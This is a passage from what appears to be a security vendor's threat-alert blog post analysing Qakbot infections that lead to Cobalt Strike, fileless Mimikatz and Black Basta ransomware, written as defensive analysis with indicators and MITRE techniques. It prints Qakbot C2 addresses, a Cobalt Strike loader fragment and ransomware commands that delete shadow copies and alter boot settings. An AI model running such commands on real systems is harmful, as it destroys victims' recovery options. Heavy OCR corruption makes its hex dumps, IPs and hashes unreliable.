00000d€0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O 0O
00000da0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00
00000dc0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00
00000de0 00 00 00 00 00 00 00 00 4e £6 dlL £9 a6 Ta 00 OQa 61 70 70 €c €9 €3 €1 T4 €9 €f €e 2£ 76 2d 73 €8 | .......N....z..application/x~

00000e00 6f €3 €b 77 €1 76 €5 2d €6 6c €1 73 €8 00 00 00 4e £6 dl £5 23 7a 00 Ob €28 74 74 70 73 3a 2f 2f pckwave-flash...N...#z..https://
0000020 31 38 3€ 2e 31 32 30 2e 35 38 2e 31 34 3a 34 34 33 2f 74 35 00 00 00 00 49 £6 dl fe 23 7a 00 Oc 18€.120.58.14:443/t5....1...4z..
00000e40 2a 2f 2a 00 00 00 00 00 4e £6 dl £9 24 7a 00 Qa €1 70 70 €c €% €3 €1 74 €9 €f €e 2f 78 2d 73 €8 p/*..... N...$z..applicaticn/x-sh
00000e€0 62 €3 €b 77 €1 7€ €5 2d €6 €c €1 73 €8 00 00 00 45 £6 dl £f 23 7a 00 14 2a 2f 2a 00 00 00 00 00 pckwave-flash...H...#2..%/*.....
00000e80 00 00 00 00 00 00 00 00 42 £6€ dl £5 25 7a 00 02 03 00 00 00 00 00 00 00 01 00 00 00 00 Q0 00 00 ToTTo T B ¥ e eensrrensss -
00000eal a% 7a 28 €3 00 00 00 00 72 01 00 00 O1 00 00 Q0 03 00 00 00 00 00 00 00 15 00 00 00 00 00 00 00 .Z(CuveeFuvrrnnnsansssnnnannnnns
00000ec0 a9 7a 28 €3 00 00 00 00 00 00 00 00 01 00 00 00 Oe £4 dl bb 2f 7a 00 08 01 00 00 00 &6 26 €1 al .z(c.. . .
00000ee0 &3 03 00 00 00 00 00 00 00 00 00 00 00 00 00 Q0 00 00 00 00 00 00 00 OO0 OL 00 00 00 57 dc €5 85 .cccccvsnncssnnssanssnansanalans

Another example of the C2 connection data from the injected process memory. The “POST /t5 HTTP/1.1” (“POST /t4
HTTP/1.1” in previous campaigns) is indicative of the Qakbot C2 server HTTP request:

(2E.ein.... WE. .ot FITIIIII 0 e eevnenens 2 TR 1 3eNu....0000. . ... oF. .ok
veeeE B (B (B BELBHELB2E L e B B b L L 90c@VAL L T T
..JXE.POST /t5 HTTP/1.1EXE.()I.3&1.3&1.AAh¢. ... AsE.... .. %E.F.......Acceptapplication/x-shockwave-flashapplication/x-
shockwave-flash, image/gifapplication/x-shockwave-flash, image/gif, image/jpegapplication/x-shockwave-flash, image/gif,
image/jpeg, image/pjpegapplication/x-shockwave-flash, image/gif, image/jpeg, image/pjpeg, */*$4E..»E.(&I.

(&L.Gy0%. ... z%E...... YE.l....... Content-Typeapplication/x-www-form-urlencoded . %E.EXE. X" I.X'I......... PYE.
... ZKE.E....... User-AgentMozilla/5.@ (Windows NT 10.@; WOW64; Trident/7.@; rv:11.8) like
GeckoUXE.$%E.0'1.0"1.9xE6. .. .E4E..... I%E.

-Hos t/FUEREWPPTIER ) KE . %€ . HRT.H&T. 2 4. ... HE...... HE..ooenn.. Content-Length75POSTI/ESN

BETPMA. 1 ()f.U%E. 1. "f.r#e0. ... UKE.
...bXE.........Cache-Controlno-

The C2 server (41[.]J111[.]118[.]56) detections by VirusTotal:
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1 2 \i 12 security vendors flagged this IP address as malicious :-:
95
41.111.118.56 (41.96.0.0112) DZ
9 AS 36947 ( Telecom Algeria ) L

Community Score

Here’s a list of active Qakbot C2 servers could be monitored via https://feodotracker.abuse.ch/browse/qakbot/.

FEO DO traCk"eﬂiuss“ Mitigate Browse Blocklist Statistics About
Show + entries Search: = Online

Firstseen (UTC) | Host Malware Status Network (ASN) Country
2022-10-26 16:02:44  190.199.97.108 # QakBot [YII AS8048 CANTV Servicios, Venezuela i VE
2022-10-26 16:02:40  64.207.237.118 #% QakBot AS22773 ASN-CXA-ALL-CCI-22773-RDC = US
2022-10-25 20:25:42 47142294 ¥k QakBot m AS20115 CHARTER-20115 = US
2022-10-25 12:05:30 24.206.27.39 #& QakBot m AS15146 CABLEBAHAMAS k3 BS
2022-10-24 08:25:20 93.156.96.171 & QakBot m AS12946 TELECABLE Spain =ES
2022-10-22 14:22:02 200.233.108.153 3% QakBot m AS22689 SERCOMTEL SA TELECOMUNICACOES BR
2022-10-13 14:31:20 186.18.210.16 #¥ QakBot m AS27747 Telecentro S.A. ZZAR
2022-10-05 16:31:09  216.238.83.82 secakBot [ AS20473 AS-CHOOPA B MX
2022-09-30 10:53:12 216.238.108.61 % QakBot m AS20473 AS-CHOOPA BR
2022-09-30 10:53:10 216.238.108.61 ¥k QakBot tm AS20473 AS-CHOOPA BR

Cobalt Strike Infection

After all the above actions (defense evasion, discovery, credential access, collection, and the C2 communication) we saw

that in one of our incident responses (IR) that the Qakbot infection leads to a Cobalt Strike.

The Qakbot injected process (in the IR case: OneDriveSetup.exe) injected into a different process — a Cobalt Strike DLL
beacon — 45 minutes after the initial infection. The injection created a new remote thread in the targeted Rundll32.exe
process. The MZAR header (reflective loader):

Process Details.Process Extra Info.Target
Extra Info.Injection Info Extra Info.Payload Sample Process Path

In addition, the Cobalt Strike beacon was injected into the “C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup”

process which executes another instance of rundll32.exe:

Process Details.Process Params Extra Info.Target
Extra Info.Injection Info Extra Info.Payload Sample Process Path

C:\Windows\system32\svchos Process created rem MZARUH\x89\xe5H\x81\xec \x80\x88\x80H\x8d\x1d\xea\xff\xff\xffH\x81) xed\x14\a\x808\ xff\xd3H\x89\xc3T\x8I\xf8h\x8 c:\windows\sys
t.exe -k UnistackSvcGroup hread on target pros 4\x00\x80\x86Z\ xf\xdaA\xb8\ xf@\xb5\ \x88\x88\ x88Z \x f\xd3\x88\x18\x811x08\x88\xf4m\x16\xc3\xabB(\x88\x14Q0  32\rund1132.exe
\x8f\x89~t\xeBD*B\xfaF\r\ *\f\x82C\xce\xb3cW\xd9\ \xd2, pa\xed

One of the actions that the threat actors executed is a fileless .NET Mimikatz. This is the Mimikatz executed inside the

injected process (rundll32.exe) memory:
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[KDC] struct

[KDC] keys patch OK

ERROR kuhl_m_misc_skeleton ; Second pattern net found

ERROR kuhl_m_misc_skeleton ; First pattern not found

ERROR kuhl_m_misc_skeleton ; kull_m_process_getVeryBasicModuleInformationsForName (8x%@8x)
cryptdll.d11[RC4] functions

[RC4] init patch OK

[Rcaly decrypt patch OK

ERROR kuhl_m_misc_skeleton ; Unable to create remote functions
ERROR kuhl m misc_skeleton ; OpenProcess (©x%@8x)
inputMiMIKStZIX6d . compressedoutputInput @ %s

Output: %s

Opening: * Original size : %u

* Compressed size: Xu (¥%.2f%%)

Writing: ERROR kuhl_m_misc_compress ; kull_m_file writeData (@x¥e8x)

ERROR kuhl_m_misc_compress ; kull_m_file_readData (@x%e8x)

ERROR kuhl_m_misc_compress ; An /output:file is needed

ERROR kuhl_m_misc_compress ; An /input:file is needed

explorer.exeprocessProxy process : XwZ

> Found %wZ with PID %u : user32.dllLockWorkStationGetLastErrorerror Xu

oK!

ERROR kuhl_m_misc_lock_for_pid ; kull_m_remotelib_create (@:x%es8x)

ERROR kuhl_m_misc_lock_for_pid ; kull_m_remotelib_CreateRemoteCodelWitthPatternReplace
ERROR kuhl_m_misc_lock_for_pid ; OpenProcess (@x%esx)

Wallpaper file: %s

ERROR kuhl_m_misc_wp ; file argument is needed

SystemParametersInfollERROR kuhl_m_misc_wp_for_pid ; kull_m_remotelib_create (©x%@8x)
ERROR kuhl_m_misc_wp_for_pid ; kull_m_remotelib_CreateRemoteCodelWitthPatternReplace

ERROR kuhl m misc_wp_for_pid ; OpenProcess (@x%08x)

ERROR kuhl_m_misc_mflt ; FilterFindNext(data): @x%@8x

ERROR kuhl m misc_mflt ; FilterFindNext(size): ©x%@8x

ERROR kuhl_m_misc_mflt ; FilterFindFirst(data): @x¥%e8x

Mimikatz functionality allows the threat actors to dump passwords and NTLM hashes from memory, collect Kerberos

tickets and run “Pass the Hash.” With this functionality, the threat actors perform lateral movement and privilege escalation.

Human-operated ransomware

We observed that at this point of the infection (Cobalt Strike execution), the attack switched to Human-operated

ransomware. It is an active attack performed by ransomware cybercriminals with a “hands-on keyboard.” Threat actors take

advantage of the domain to deploy ransomware.

We have investigated several Qakbot infections and based on that, we have observed a collaboration with CONTI and Black

Basta ransomware groups.

This makes sense based on the Threat Intelligence reports that link these two ransomware groups (Black Basta is an offshoot

of CONTTI). Black Basta ransomware was first seen at the beginning of 2022.
Black Basta ransomware technical info:

» Ransomware encryption algorithms: ChaCha20 and RSA-4096
e Ransomware skips the following files/directories:
o $Recycle.Bin
o readme.txt
o Windows
o readme.txt
» Ransomware extension: .basta
» Ransomware note: readme.txt
¢ Ransomware replaces the desktop wallpaper with your image

» Ransomware inhibits system recovery commands:
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o C:\Windows\SysNative\vssadmin.exe delete shadows /all /quiet
o cmd.exe /c “C:\Windows\SysNative\vssadmin.exe delete shadows /all /quiet”

o C:\Windows\SysNative\bcdedit /set safeboot networkChanges

Your network is encrypted by
the Black Basta group.
Instructions in the file

readme.txt

readme.txt

readme.txt - Notepad
File Edit Format View Help

Your data are stolen and encrypted

The" data will be published on TOR website if you do not pay the ransom
You can contact us and decrypt one file for free on this TOR site

(you should download and install TOR browser first https://torproject.org)
httpS://.'.l.' '.ll'l::..i'.= TANTED I FhEY {=hks bbb vs Y 1LEEL .i'l_|”E" PPy f.onion/

Your company id for log in: ealdid®i-1635-A477-4led- 0 T3 ThInsh
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Related Black Basta ransomware sample that was detected in one of the IR cases.

e MD5: 0c69e91c2f54978ae3103b26686b2610

e SHA-256: a083060d38984e7c6f36dcd2c57eclaa3f50f9¢201c8538257c8cbf2b3217e96

e SSDEEP:
12288:9yufBWp/QcYqt+QxxbxgU532BjZak//A6/NLaBCfwYkijMsZ2rEIaOtZBQipEen7:9yufBWpW3/k6M7tZBLpEelW.

 Imphash:23f9df8e3fa0bbe313771c0a0lacteae

TTPs: Tactics, Techniques, and Procedures, MITRE

Now that we’ve covered the execution details, I am going to share the TTPs with you.

TAO0001 Initial Access:
o 1566.001 Phishing: Spear phishing Attachment
o T1566.001 Phishing: Spear phishing Attachment
TA0002 Execution:
o T1204.001 User Execution: Malicious Link
o T1204.002 User Execution: Malicious Link
o T1059.005 Command and Scripting Interpreter: Visual Basic Script

o T1059.007 Command and Scripting Interpreter: JavaScript
o T1027 Obfuscated Files or Information
TAO0003 Persistence:
o T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
o T1053.005 Scheduled Task
o T1543.003 Create or Modify System Process: Windows Service
o T1574.001 Hijack Execution Flow: DLL Search Order Hijacking
e TAO0005 Defense Evasion:
o T1027.006 Obfuscated Files or Information: HTML Smuggling
o T1218.011 Signed Binary Proxy Execution: Rundll32
o T1218.010 System Binary Proxy Execution: Regsvr32

o T1027.002 Obfuscated Files or Information: Software Packing
o T1027.005 Obfuscated Files or Information: Indicator Removal from Tools
o T1070.004 Indicator Removal on Host: File Deletion
o T1112 Modify Registry
o T1055.012 Process Injection: Process Hollowing
o T1562.009 Impair Defenses: Safe Boot Mode
o T1622 Debugger Evasion
e TAO0006 Credential Access:
o T1555.003 Credentials from Password Stores: Credentials from Web Browsers
o T1003 OS Credential Dumping
e TAQ0007 Discovery:
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o T1057 Process Discovery
o T1018 Remote System Discovery
o T1482 Domain Trust Discovery
o T1135 Network Share Discovery
o T1069.001 Permission Groups Discovery: Local Groups
o T1082 System Information Discovery
o T1016 System Network Configuration Discovery
o T1049 System Network Connections Discovery
o T1033 System Owner/User Discovery
o T1010 Application Window Discovery
e TAO0009 Collection:
o T1005 Data from Local System
o TA0011 Command and Control:
o T1573 Encrypted Channel
o T1071 Application Layer Protocol
o T1041 Exfiltration Over C2 Channel
e TA0040 Impact:
o T1486 Data Encrypted for Impact
o T1490 Inhibit System Recovery

We will continue to share threat alerts in real time so keep an eye on our social channels. You can also find our monthly

ransomware reports here.

Stay safe!

Source: https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/
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